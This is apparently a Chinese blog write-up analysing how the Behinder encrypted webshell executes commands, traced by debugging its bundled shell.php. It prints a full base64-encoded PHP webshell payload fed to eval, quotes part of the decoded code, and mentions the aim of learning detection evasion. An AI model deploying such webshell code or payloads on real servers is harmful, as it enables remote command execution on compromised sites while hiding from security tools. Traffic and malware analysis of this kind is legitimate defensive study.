登录后台

已禁止登录!

页面导航

介绍

什么是冰蝎?

"冰蝎"是一个动态二进制加密网站管理客户端。在实战中,第一代webshell管理工具"菜刀"的流量特征非常明显,很容易就被安全设备检测到。基于流量加密的webshell变得越来越多,"冰蝎"在此应运而生。学习一下二进制加密,为以后免杀打下一些基础。




开启流量分析

今天主要看看冰蝎的命令执行选项


1. 首先连接冰蝎,连接成功后选择命令执行选项

2. 打开phpstorm调试功能

3. 输入命令发包进入shell.php(冰蝎自带文件)调试界面

调试

4. 进入冰蝎的shell.php文件后发现,文件通过file_get_contents函数获取数据包中的加密数据

5. 获取数据后判断是否为openssl方式传输,如果不是,变量函数调用base64解码函数对加密数据进行第一次解码

解码

6. 第一次base64解码后使用for循环对单个字符进行自定义解码

循环解码

7. 将解码后的数据通过|分割放入数组中,随即定义一个类来执行eval函数,在使用回调函数call_user_func运行以下内容,即先解码加密数据再通过eval函数执行:


##数据展示:
eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCwkcGF0aCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICA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ICAJew0KICAgIAkJcmV0dXJuIG9wZW5zc2xfZW5jcnlwdCgkZGF0YSwgIkFFUzEyOCIsICRrZXkpOw0KICAgIAl9DQp9JGNtZD0iWTJRZ0wyUWdJa002WEhCb2NGTjBkV1I1WEZCSVVGUjFkRzl5YVdGc1hGZFhWMXdpSm5kb2IyRnRhUT09IjskY21kPWJhc2U2NF9kZWNvZGUoJGNtZCk7JHBhdGg9IlF6b3ZjR2h3VTNSMVpIa3ZVRWhRVkhWMGIzSnBZV3d2VjFkWEx3PT0iOyRwYXRoPWJhc2U2NF9kZWNvZGUoJHBhdGgpOw0KbWFpbigkY21kLCRwYXRoKTs='));

最终

8. 对加密数据进行解码发现为PHP代码,经过base64解码后创建新php文件进行调试↓

9. 发现加密数据为一个木马文件,专门用于执行系统命令,且执行的命令通过base64加密后赋值给$cmd参数,将路径复制给$path

解码后

10. 解码后可发现命令为 文件路径+”&命令”

文件路径+”&命令”

11. 数据解码后传入到主函数中执行,首先获取php的配置文件,查看disable_functions有没有配置,将获取的数据进行格式转换,将内容放入数组中。如果未配置也创建一个空数组

转入函数

12. 查看是否为windows系统,如果是的话在命令后面加上字符串 2>&1\n

2>&1\n

13. 用is_callable检测可用函数,用in_array函数检测该函数是否在禁用名单中

14. 如果函数可用,则打开缓冲区运行命令将执行结果放入缓冲区并用ob_get_contents获取数据赋值给变量$kwjw,最后关闭缓冲区。

赋值

15. 当所有函数都不可用时,则将$result[“status”]设置为失败且将数据用base64加密,返回相关信息

16. 当命令执行成功时,将$result[“status”]设置为成功且将数据用base64加密,将执行命令后返回的数据经过函数转码转换成正确编码后返回,且用base64加密


else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;

    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result), $_SESSION['k']);

加密

17. 最后使用encrypt函数将所有信息用json加密和密钥二进制加密后传回冰蝎展示

回传

最终显示